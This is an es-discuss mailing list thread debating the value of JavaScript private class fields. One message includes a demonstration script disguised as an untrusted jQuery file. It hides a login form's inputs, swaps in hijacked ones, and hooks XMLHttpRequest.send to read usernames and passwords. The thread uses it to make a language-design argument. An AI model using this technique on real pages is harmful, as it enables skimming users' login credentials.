There's no confidence anything you run on someone else's machine really is 
"private" in any language (especially with reflection). Nevertheless private 
members still exist and continue to be used.

> On Apr 17, 2018, at 6:34 AM, kai zhu <[email protected]> wrote:
> 
> can you give actual code-examples of real-world things in web-projects
> that are worth the effort and cost to **proactively** hide from
> web-developers?  i suspect for most, just following python
> design-pattern of prefixing them with '_' or '$' is good enough.
> 
> also in a webpage-context, how confident are you that private
> methods/fields really are "private" and safe from naughty-developers?
> would you trust private fields/methods enough to allow untrusted code
> to run alongside your credit-card transaction webpage?  for example,
> here's a live web-demo of a side-channel attack to indirectly
> modify/read private fields (via jquery from untrusted cdn) [1], with
> screenshots and full source-code here [2].
> 
> its not too difficult to craft these side-channel exploits when a
> naughty-developer has full-access to your frontend source-code. how
> many companies/organizations in the world do you think have the
> resources to audit/harden their frontend-code to ensure private
> methods/fields really are private and cannot be tinkered with through
> various side-channel exploits (hijacking dom-inputs, XMLHttpRequest,
> LocalStorage, IndexedDb, Array-accessors,
> dependent-subclasses-you-forgot-to-encapsulate, etc)?
> 
> [1]
> "live web-demo"
> https://kaizhu256.github.io/tc39-private-field-side-channel-attack-example/
> 
> [2]
> "screenshot and full source-code of demo-exploit"
> https://github.com/tc39/proposal-class-fields/issues/93#issuecomment-380073112
> 
> 
> 
> ```javascript
> /*
> * jquery.from.untrusted.cdn.js
> *
> * this script will indirectly modify/read private-fields by hijacking
> dom-inputs and XMLHttpRequest.
> * it is custom-crafted for a given webpage's freely available
> frontend source-code
> *
> * live web-demo of it in action at:
> * https://kaizhu256.github.io/tc39-private-field-side-channel-attack-example/
> */
> /*jslint
>    bitwise: true,
>    browser: true,
>    maxerr: 4,
>    maxlen: 100,
>    node: true,
>    nomen: true,
>    regexp: true,
>    stupid: true
> */
> (function () {
>    'use strict';
>    var XMLHttpRequestPrototypeSend, consoleLog;
>    consoleLog = console.log;
>    console.log = function () {
>        document.querySelector('#textareaStdout').value +=
> Array.from(arguments).join(' ') +
>            '\n';
>        consoleLog.apply(console, arguments);
>    };
>    // side-channel attack to modify private-fields in hijacked dom-inputs
>    ['inputPassword', 'inputUsername'].forEach(function (element) {
>    /*
>     * this function will hide the original dom-inputs from the user,
>     * and replace them with hijacked ones, that can arbitrarily modify data
>     */
>        var hijackElement;
>        element = document.querySelector('#' + element);
>        element.style.display = 'none';
>        hijackElement = document.createElement('input');
>        element.parentNode.insertBefore(hijackElement, element);
>        hijackElement.id = element.id + '2';
>        hijackElement.type = element.type;
>        hijackElement.value = element.value;
>        hijackElement.addEventListener('change', function () {
>            // arbitrarily modify data and pass it back to original dom-inputs
>            element.value = hijackElement.value + ' modified!';
>        });
>        element.value = element.value + ' modified!';
>    });
>    document.querySelector('#inputSubmit').addEventListener('click',
> function () {
>        console.log('hijacked dom-input to modify field
> loginInstance.privateUsername=' +
>            JSON.stringify(document.querySelector('#inputUsername').value));
>        console.log('hijacked dom-input to modify field
> loginInstance.privatePassword=' +
>            JSON.stringify(document.querySelector('#inputPassword').value)
> + '\n');
>    });
>    // side-channel attack to read private-fields from hijacked XMLHttpRequest
>    XMLHttpRequestPrototypeSend = XMLHttpRequest.prototype.send;
>    XMLHttpRequest.prototype.send = function (data) {
>    /*
>     * this function will hijack XMLHttpRequest.prototype.send to
> indirectly read private-fields
>     */
>        try {
>            data = JSON.parse(data);
>            console.log('hijacked XMLHttpRequest.prototype.send to
> read field ' +
>                'loginInstance.privateUsername=' +
> JSON.stringify(data.username));
>            console.log('hijacked XMLHttpRequest.prototype.send to
> read field ' +
>                'loginInstance.privatePassword=' +
> JSON.stringify(data.password) + '\n');
>        } catch (ignore) {
>        }
>        XMLHttpRequestPrototypeSend.apply(this, arguments);
>    };
>    console.log('loaded script <script
> src="jquery.from.untrusted.cdn.js"></script>');
> }());
> ```
> 
> 
>> On 4/17/18, Dan Peddle <[email protected]> wrote:
>> imagine you are shipping a module for use by others, and you don't want to
>> expose internals to consumers. private methods and properties help to know
>> that only the public API is in use, giving confidence in publishing updates
>> or fixes.
>> 
>> another use case is knowing that naughty developers aren't reaching into
>> your module and changing its behaviour.
>> 
>> I'm sure there's more, but those are the ones that come to mind.
>> 
>>> On 17. Apr 2018, at 08:17, kai zhu <[email protected]> wrote:
>>> 
>>> as a javascript web-developer, can someone educate me on how private
>>> class methods/fields would make one's life easier (rather than harder)
>>> in getting web-projects shipped?
>>> 
>>> ```
>>> /*
>>> * how is this cited example better than using a plain object in a
>>> web-project?
>>> * can someone give actual common problems in
>>> * debugging/integrating/shipping web-projects,
>>> * that private methods/fields could help simplify (rather than
>>> complicate)?
>>> */
>>> class HashTable {
>>> constructor() {
>>>   private[Symbol.for('length')] = 0
>>> }
>>> set(key, value) {
>>>   private[key] = value
>>> }
>>> get(key) {
>>>   return private[key]
>>> }
>>> }
>>> ```
>>> 
>> 
> _______________________________________________
> es-discuss mailing list
> [email protected]
> https://mail.mozilla.org/listinfo/es-discuss
_______________________________________________
es-discuss mailing list
[email protected]
https://mail.mozilla.org/listinfo/es-discuss

Reply via email to